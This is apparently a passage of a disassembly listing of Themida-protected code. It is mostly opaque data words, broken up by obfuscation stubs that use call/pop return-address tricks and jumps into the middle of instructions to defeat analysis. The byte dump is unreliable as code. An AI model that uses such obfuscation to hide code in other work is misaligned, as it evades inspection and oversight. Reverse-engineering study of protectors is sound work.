		dd 0AA9F0DC3h, 80AE1BE6h, 0BD8BD933h, 0AE31799h, 5CD8589h
		dd 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 533774C3h, 0B533AF53h, 0AE32BF1h,	7AAE8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0D0A74EC5h, 0B47F2BD3h, 0FE95066h, 51000000h
		dd 0E0BA5623h, 0A4109C62h, 0D28DA20Bh, 895F311Ch, 0E32C9185h
		dd 56006A0Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0A5ED581Fh, 5E96Dh, 896A0000h, 0E83E32A9h
		dd 73Bh, 93D8D8Bh, 85890AE3h, 0AE31D7Dh, 72AE8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8937D555h, 0E3120D85h, 0E70DBF0Ah, 66531F1Fh, 0B0F2E981h
		dd 6F5E85Fh, 0CE80000h,	97000000h, 674033D9h, 4EAD6BDAh
		dd 8BB94EFFh, 0E3132DB5h, 0B70F590Ah, 98589CBh,	660AE31Ah
		dd 5853EE81h, 6CAE8h, 0AE800h, 94D20000h, 5E47EFE7h, 58D10F5Bh
		dd 46ADB966h, 0A985895Eh, 6A0AE319h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C290C350h
		dd 0E9081207h, 0DA4B75E4h, 5EA3B966h, 682E8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0A784B0AEh, 8E9C3ABFh, 59858909h, 0E90AE318h, 13h, 8678C61Ah
		dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 0E8235A5Ch, 63Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 75C35343h
		dd 10E8501Dh, 67000000h, 0BC5773CFh, 0E369634Bh, 0EFFE41F5h
		dd 8986D014h, 0E319ADB5h, 0BD895F0Ah, 0AE32045h, 2DF58589h
		dd 6A0AE3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0DA6FDC3h, 555022DDh, 5CEE8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8941A496h, 0E30AC58Dh, 3B05BF0Ah, 858936A3h,	0AE321A1h
		dd 0DB31D681h, 94E804CDh, 6A000005h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6DDFC353h
		dd 28C9B58Bh, 8E90AE3h,	77000000h, 0D1576EE1h, 898328F0h
		dd 0E31B7185h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7305B94Ch, 8B66F825h
		dd 535E8F1h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 4F5D4BC3h, 0B14D43BBh, 3391ECBEh
		dd 4D858901h, 0E80AE32Ch, 9, 28BEA9EDh,	216343D1h, 0F4E859AFh
		dd 66000004h, 8589FA8Bh, 0AE31161h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 18C35545h, 675B58Bh
		dd 0B00AE3h, 1EA1B58Bh,	0B60F0AE3h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 81660A1Dh
		dd 0BAC782CEh, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	5AC35343h, 0B5A67541h, 8589D74Eh, 0AE31A81h, 6AC38Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 863F5CC3h, 60F18B66h, 3528A7B8h, 61C68B55h, 8B04E8C1h
		dd 0E2F766FEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	6EC35646h, 0FE4DBEF4h, 85296643h, 0AE321B5h, 0E181D82Bh
		dd 75B3CCEBh, 176D8D8Bh, 0B1500AE3h, 241C89CCh,	95FFCA8Bh
		dd 0AE33389h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0A0C35040h, 5D45D181h, 6A5B2CBBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0E105C351h
		dd 0B099EECh, 6A5958Dh,	6A0AE3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 860F08C3h, 3,	89F28B66h
		dd 53006A1Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 183E06EEh, 0BCE180ABh, 6A044289h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 860C351h, 870FBAA7h,	6, 18BD8D29h, 8D8B0AE3h, 0AE31F11h
		dd 2695958Dh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0DB6409C3h, 89F38BD2h, 57006A1Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 57830D44h, 8D2BCF0Ch, 0AE305D1h, 2FF58589h, 42890AE3h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0CECB020Bh, 0F507FBFCh, 13E95Dh,	52CA0000h
		dd 0CAB74ED5h, 0D5639771h, 8D980E95h, 0B796B140h, 0B1958DA2h
		dd 890AE32Ch, 0E31CED85h, 6A1A890Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B747C352h
		dd 0E87CAA1Dh, 7, 0BD3C6A25h, 8126D72Fh, 85D88EC6h, 8B66590Ch
		dd 44289C8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	89C35646h, 24DE4860h, 85661A5Eh, 0A185011Bh, 8D0AE315h
		dd 0E3070195h, 68B0F0Ah, 89000000h, 0E32D25BDh,	6A1A890Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 69B6C351h, 6A044289h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69E7C357h
		dd 0AB51627Fh, 0F5958DFBh, 0F0AE30Fh, 586h, 16F1BE00h
		dd 1A890BE9h, 11E9h, 8ABA2000h,	8D56DCCFh, 0B8E9A4BEh
		dd 8E7049AAh, 0B966F643h, 428932D3h, 56006A04h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 39E38D8Dh
		dd 27665C31h, 3091958Dh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 881DDDC3h, 56A7246Dh
		dd 13E99B36h, 1C000000h, 520168FDh, 0A886A21Ah,	0E5DD4E9Bh
		dd 45E57DE5h, 8166093Fh, 890539DEh, 895E561Ah, 6A0442h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BA66BC3h, 0E31C4DBDh, 9D8D8B0Ah, 8D0AE326h,	0E3168595h
		dd 2ED6810Ah, 89478BA8h, 12E91Ah, 0C50B0000h, 8BD7BA37h
		dd 5A04FFE4h, 0DA047F3Bh, 0D6F77B6Ah, 6A044289h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 6F9DC350h, 1FE5BD03h, 11E80AE3h, 5000000h, 0EAF16588h
		dd 0FB90901Fh, 5D3BB04Bh, 7F38F67Fh, 77B86660h,	8D5E6116h
		dd 0E317B595h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 1D4C94A1h, 893214E1h
		dd 0FD8D8B1Ah, 0E80AE315h, 0Ah,	9F1F3FABh, 0AEC2218Ch
		dd 8E0FFB09h, 6, 17E59589h, 895E0AE3h, 6A0442h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0F47700C3h, 0CAB70F91h, 0B8F68151h, 593641C7h, 0D5E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0C23E7A8h, 6AE1B55Bh, 70B96600h,	6A006AB1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 3996C355h, 0E997472Eh, 0BA460DD9h, 0FB8BFE8Bh
		dd 9589006Ah, 0AE323D9h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0DA2B70C3h, 0F8014E77h
		dd 95FF45EDh, 0AE322C9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0C0C35545h, 8529604Bh, 0AE315F5h, 61D78B66h
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0BF161755h, 0D781662Eh, 0C58AB645h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 81C35141h, 80CCF1EFh
		dd 0B58937D1h, 0AE32E4Dh, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 83F362C3h, 0E32569BDh
		dd 975000Ah, 198DBD83h,	74000AE3h, 8B535019h, 438B8C0h
		dd 85890000h, 0AE32F19h, 0DE2C9D8Dh, 0D3FF0AE5h, 0BD83585Bh
		dd 0AE3198Dh, 50177400h, 438B853h, 85890000h, 0AE32F19h
		dd 0DACD9D8Dh, 0D3FF0AE5h, 8166585Bh, 6A0ABDE7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0BF7EC352h, 0D3A1BD06h, 0E95752AAh, 0Bh, 0CC96C448h
		dd 0FCB21931h, 596A2CFFh, 858DC08Bh, 0AE32FFDh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h, 4E186BE7h
		dd 89A3087Ch, 0E3121585h, 0A7BB500Ah, 89131D4Bh, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 434AD7C3h, 0F83F22D2h, 95BB006Ah, 6A1CFA81h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B70F4622h, 0E6858DDAh, 660AE768h, 0B180DB81h, 8E0Fh
		dd 0C0830000h, 9E905h, 9AB00000h, 0A480A937h, 0E9A2513Bh
		dd 5, 14EB8576h, 0B8B3904Ch, 0FE950h, 0CD120000h, 757E85DBh
		dd 0FF08A8ADh, 31684D58h, 6A90DDh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 90AF49C3h, 81567200h
		dd 31655AC7h, 0A2F78150h, 0F3C7FB6h, 58Fh, 0E7816600h
		dd 6A84BBh, 6810Fh, 9D8B0000h, 0AE30935h, 0F60006Ah, 1480h
		dd 0FE900h, 28720000h, 5ACF78F5h, 8A042F94h, 0A3374469h
		dd 0BDBD8BD2h, 610AE311h, 14E995FFh, 6A0AE3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 330B23C3h
		dd 0D5CA8D8Dh, 6A0AE6h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0ACE293C3h, 0BBCD1C2Eh, 16FE7C24h
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0B523DEC3h, 0E9622899h, 8, 5FC92061h, 0F0CC2791h
		dd 6419501h, 0BD830AE3h, 0AE32269h, 0A1850F01h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 96DC355h,	36879838h, 7AA6B4BBh, 0DFBF0F65h
		dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 8FCB49C3h, 22F12DFEh, 28B0F9Ch, 8B000000h
		dd 525050D9h, 6860Fh, 870F0000h, 0
		dd 0BB66310Fh, 585A4FCDh, 8B240489h, 0E30331BDh, 0F88B660Ah
		dd 1E7195FFh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 952962C3h, 0AE31369h, 0DE5E9h, 0E800h
		dd 815D0000h, 0E768F0EDh, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD8B0BC1h
		dd 0AE31C95h, 0E9DF8B66h, 0Fh, 0DB287848h, 0AF2E11D6h
		dd 3AB6E6AFh, 8DEDCC92h, 0E6C13E85h, 56006A0Ah,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD03DE8Bh
		dd 0AE30619h, 24048950h, 1071B529h, 0FF640AE3h,	35h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 7AA82F88h, 8B8753EBh, 0FE8h,	0FA96CA00h, 0D35825B8h
		dd 48C14493h, 0DD286A69h, 2589645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C8EA7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8EA7	proc near		; CODE XREF: Themida_:005C8E9Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C8EA7	endp

; ---------------------------------------------------------------------------
		db 3Ah
		dd 7A235A4h, 0CE9h, 0F3D63D00h,	47DF7182h, 5409D14Eh, 1585FF3Dh
		dd 890AE31Ch, 0E32691BDh, 6AFF6A0Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DA7DC356h
		dd 2999BF09h, 0B5FF2FACh, 0AE306BDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0F6C35646h,	22F37606h, 1D1E296h
		dd 0E30415B5h, 0DB81660Ah, 8952583Dh, 0E304B19Dh, 95FF5B0Ah
		dd 0AE3007Dh, 129E9h, 0AE900h, 0A28B0000h, 5431210Dh, 0C226F6E5h
		dd 1F4D9589h, 0B00AE3h,	1D798D89h, 70E60AE3h, 1DD18589h
		dd 71E40AE3h, 9119D23h,	613C0AE3h, 0F4830Fh, 0BD090000h
		dd 0AE31A3Dh, 34DD9509h, 0B60F0AE3h, 42CF81C8h,	0BA782707h
		dd 6, 0DF8B6650h, 89C18B5Fh, 0E33241B5h, 4E8C10Ah, 66FAB70Fh
		dd 618AF781h, 0E9E2F766h, 12h, 2B79E2AEh, 1E3DEF5Dh, 7FA9ECDAh
		dd 62A4F9A2h, 0BF0F8B38h, 0E9C82BD8h, 7, 7FB625F6h, 8BFD6769h
		dd 1BE781D1h, 0E942E254h, 8Ah, 29D9BD0Bh, 858B0AE3h, 0AE306A5h
		dd 83F98B66h, 850F07C0h, 6, 35219D8Bh, 0C0830AE3h, 0E9BB6600h
		dd 0FD03B93h, 2383h, 0FE900h, 2A6E0000h, 776DED50h, 9E6C6BBBh
		dd 54EB4589h, 44E9A7h, 8C0F0000h, 4, 0A068BF66h, 2F458D8Bh
		dd 8D010AE3h, 0AE316F1h, 0F01E183h, 2584h, 5860F00h, 0BB000000h
		dd 0F5EE1C9h, 2F45A583h, 0FFE0AE3h, 9589DBBFh, 0AE306A5h
		dd 0CF260BFh, 0E921h, 0B58D0000h, 0AE6F0A2h, 0FE9h, 0BF2D600h
		dd 49EA5320h, 6B1BA9B0h, 0B597030Ch, 9D89006Ah,	0AE32CB9h
		dd 1CD195FFh, 800F0AE3h, 6, 0E8ECC781h,	61B95ADCh, 6A000007h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 2D0BC357h, 71578E3Ch, 82443E9Ah, 0CE9h, 0C1FDB700h
		dd 0D7BEBEC7h, 3D4D77EFh, 0FCE183A4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0D2C35242h,	0C6B08035h, 0F92816D6h
		dd 0BD05BB66h, 0FC7AC380h, 0EE9h, 74DE9800h, 0A1AC8B9Fh
		dd 337A42Ch, 2BBC4510h,	50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 8ECD974Bh, 0FFCFC336h
		dd 37E78119h, 0BF15AFCDh, 1A5DDB05h, 0BAh, 8D958900h, 0AD0AE318h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B73C351h
		dd 0E8FABF0Fh, 0Dh, 30EB0133h, 0EF95BCE9h, 0E27FE905h
		dd 39958960h, 5B0AE335h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 2EC35141h, 0BD297B18h, 0AE33079h, 880Dh
		dd 3CBB6600h, 79958B40h, 8B0AE314h, 0E333959Dh,	0CEBB660Ah
		dd 0C98D8B98h, 0E90AE306h, 6, 0BC99E188h, 8B5086A5h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 953DE781h, 0FA8B043Ah
		dd 1F61BD83h, 0F000AE3h, 4684h,	0BD335300h, 0AE31AC9h
		dd 0B85Bh, 0D7800000h, 6E8D8DA0h, 6A0AE34Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 20A9C352h, 785DA01h,	5087FFBBh, 0FFF1B747h, 19D29E1h
		dd 830AE325h, 0E30069BDh, 840F000Ah, 411h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C0C35343h, 96D125A3h
		dd 19958997h, 830AE306h, 0E30069BDh, 840F010Ah,	3F8h, 69BD83h
		dd 0F030AE3h, 3B586h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 56FA2CAFh, 0E029D683h
		dd 66507BFBh, 5B00D0BBh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 3800F7Dh, 0F000000h, 8C66F8B7h
		dd 52006AD9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0A2ACB600h, 35BD8B18h, 800AE325h, 6A04E1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 267B8C3h, 0AF9CF8Fh,	15840FC9h, 66000001h, 0EB81DF8Bh
		dd 658F376Bh, 1FD1858Bh, 95890AE3h, 0AE31795h, 0BD9BD381h
		dd 853372CDh, 0AE31E45h, 5850Fh, 81660000h, 900056C7h
		dd 2810Fh, 0D88A0000h, 7800F50h, 56000000h, 0B03797BBh
		dd 89905B45h, 0E318B98Dh, 6A006A0Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1390C352h
		dd 3585893Dh, 0E80AE305h, 4, 1F03FFh, 13E8h, 0B87C5E00h
		dd 37823147h, 6C65C5A1h, 0F4C6EED0h, 0FBAE64D6h, 505BFA8Bh
		dd 0D561BB66h, 424448Bh, 6840Fh, 60600000h, 61616061h
		dd 4489008Bh, 52500424h, 5870Fh, 93BB0000h, 0F27B8B3h
		dd 0DBBB6631h, 58585A37h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0C3C35747h, 9D292581h, 0AE3203Dh, 1A4595FFh
		dd 8D890AE3h, 0AE31561h, 0D62A8589h, 0BD890AE6h, 0AE31E29h
		dd 18CE9h, 8D296000h, 0AE329B5h, 23A5B58Bh, 0F9610AE3h
		dd 0D622858Bh, 0C70AE6h, 18h, 6E9h, 0BC876E00h,	8BFC3C1Bh
		dd 0E6D626B5h, 0DB81660Ah, 858B6E05h, 0AE325D1h, 89FABF0Fh
		dd 858BF906h, 0AE31FD1h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 1BC35040h, 0AA0B8CA9h, 0A8D2A15Ah, 0B18509A7h
		dd 890AE32Eh, 0E311F18Dh, 446890Ah, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A4C35141h,	0C2B63E7Ch, 0DE8963Dh
		dd 8F000000h, 755E19D5h, 1545DB8Dh, 4B3B962Dh, 9EB35250h
		dd 6160310Fh, 505B585Ah, 61605056h, 6A965B5Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 6B0BC356h, 0B15B981Ch, 0B5FF13BFh, 0AE6D622h, 1481BD89h
		dd 0A1680AE3h, 0E89E1074h, 10h,	1A3CB9F5h, 0A221F6Ch, 17B7F108h
		dd 41C16F48h, 5FD98B66h, 5E240481h, 6A620E8Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 60F8C356h, 870FC38Ah, 6, 0A59958Bh, 8D610AE3h, 0E6D62A85h
		dd 0C1BD8B0Ah, 900AE31Dh, 9278BF66h, 90F98B50h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8EC35343h, 7E618912h
		dd 66358639h, 8902B8BBh, 0E32D01B5h, 4595FF0Ah,	290AE31Ah
		dd 0E31B019Dh, 9D89610Ah, 0AE3092Dh, 0C7E3EB80h, 0E3006985h
		dd 30Ah, 894CB700h, 0E31A7D95h,	2ABD830Ah, 0AE6D6h, 54840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 7FFAE7C3h, 0B17CCD8Dh, 79BA601Ah,	812ADE79h
		dd 5C3ABCD3h, 3AE9615Dh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9EB4C352h
		dd 305062C1h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 54A47BC1h, 7E316BAEh, 0ABF6589h, 896B4880h, 0E3301995h
		dd 69BD830Ah, 30AE300h,	4A6850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C9DE27C3h
		dd 0FA433FDh, 0BD83DFBFh, 0AE6D62Ah, 75840F00h,	81000004h
		dd 0D27CBDE3h, 2AB5FF43h, 600AE6D6h, 1889BD0Bh,	8E0F0AE3h
		dd 3, 61F9BF0Fh, 331595FFh, 0BD8B0AE3h,	0AE31051h, 0D61EB58Bh
		dd 6A0AE6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 88631CC3h, 6C7DE8Bh, 10001h, 2E519D8Bh, 13E80AE3h
		dd 25000000h, 0AEA9BD3Eh, 0C275166h, 0CE5484BFh, 430F7D37h
		dd 0BF663C41h, 965F2523h, 14880F60h, 0E9000000h, 0Fh, 389F2B33h
		dd 0E5C394DEh, 0B1218D0Bh, 0E9F06C85h, 14h, 0B2A57066h
		dd 6B632D90h, 9C219E94h, 78D7A199h, 95CEC201h, 0FB8B5061h
		dd 0DE8B6096h, 12E8h, 0C30FFD00h, 33DF3DB6h, 0DED0BC8Eh
		dd 81EFD13Ch, 66FFF5D9h, 5901AABEh, 68B0F61h, 8B000000h
		dd 0E319A59Dh, 2AB5FF0Ah, 6A0AE6D6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 2342C357h
		dd 0BB45BBF9h, 1BBCC1B9h, 20BD95FFh, 8C0F0AE3h,	0
; ---------------------------------------------------------------------------
		movsx	ebx, dx
		mov	esi, [ebp+0AE6D61Eh]
		push	0
		push	edx
		call	sub_5C9848
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9848	proc near		; CODE XREF: Themida_:005C9840p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C9848	endp

; ---------------------------------------------------------------------------
		and	ds:0AC89A76Dh, bl
		mov	eax, [ebp+0AE31059h]
		push	0
		push	eax
		call	sub_5C986F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C986F	proc near		; CODE XREF: Themida_:005C9867p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C986F	endp

; ---------------------------------------------------------------------------
		dec	ecx
		aas
		push	eax
		pop	ebx
		mov	[esi+0C4h], eax
		push	0
		push	ecx
		call	sub_5C9894
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9894	proc near		; CODE XREF: Themida_:005C988Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C9894	endp

; ---------------------------------------------------------------------------
		les	ecx, [edx+ecx*4]
		sub	dword ptr [esi], 1479958Bh
		jecxz	short near ptr loc_5C98B8+1
		mov	di, si
		add	edx, 4
		push	0
		push	ebp


loc_5C98B8:				; CODE XREF: Themida_:005C98ADj
		call	sub_5C98C0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C98C0	proc near		; CODE XREF: Themida_:loc_5C98B8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C98C0	endp

; ---------------------------------------------------------------------------
		jbe	short locret_5C993F
		xchg	eax, edx
		aad	0Eh
		fsub	dword ptr ds:0BD898438h
		adc	eax, 890AE314h
		push	eax
		and	[edx+0], ch
		push	ecx
		call	sub_5C98ED
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C98ED	proc near		; CODE XREF: Themida_:005C98E5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C98ED	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	[ebp+0AE31155h], eax
		lea	eax, [ebp+0AE6E8B3h]
		push	0
		push	edx
		call	sub_5C9915
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9915	proc near		; CODE XREF: Themida_:005C990Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5C9915	endp

; ---------------------------------------------------------------------------
		db 14h,	95h, 37h
		dd 0EE180B0Ah, 0BF0F87BEh, 0B88689FAh, 0F000000h, 6ADABFh
		db 66h,	81h, 0CFh
; ---------------------------------------------------------------------------

locret_5C993F:				; CODE XREF: Themida_:005C98D0j
		retf
; ---------------------------------------------------------------------------
		db 8Ah,	0FFh
		dw 2AB5h
		dd 560AE6D6h, 0A4F38166h, 95FF5B0Dh, 0AE31E71h,	16B1BD8Bh
		dd 66500AE3h, 89D0C8BFh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 182E3C3h, 13E9AAA4h
		dd 98000000h, 0A808F0Dh, 79376A6Eh, 13AF42F6h, 0C56A6452h
		dd 0BD8B4A70h, 0AE31269h, 0D62AB5FFh, 6A0AE6h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 3B0C83C3h, 0C12A1939h, 1B8DBD8Bh, 840F0AE3h,	5, 0BEF8166h
		dd 6995FFD5h, 660AE323h, 0BD83DF8Bh, 0AE317ADh,	6E840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0D0CDC352h, 9842A979h,	5A293D1h
		dd 31799D8Bh, 56500AE3h, 0BE8h,	52A7F000h, 2D5D7170h, 6EBF568Eh
		dd 0EE9h, 0F937EA00h, 78E96427h, 51DD6253h, 5F56538Ch
		dd 2434895Bh, 2CC19509h, 0EE90AE3h, 0EE000000h,	9AD1212Dh
		dd 0F5DFAF9Eh, 0EFC57325h, 2AB5FF35h, 8B0AE6D6h, 0E303D9BDh
		dd 9595FF0Ah, 6A0AE302h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2D9EC352h, 68E0F11h
		dd 8B000000h, 0E30CF99Dh, 2AB5FF0Ah, 6A0AE6D6h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A1C2C357h, 0DD95FFEAh, 6A0AE311h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B5BCC353h
		dd 1725B589h, 880F0AE3h, 3, 66FFB70Fh, 1167C781h, 197DBD83h
		dd 0F020AE3h, 8384h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0C2E1C3B0h, 0D6EEA0EEh
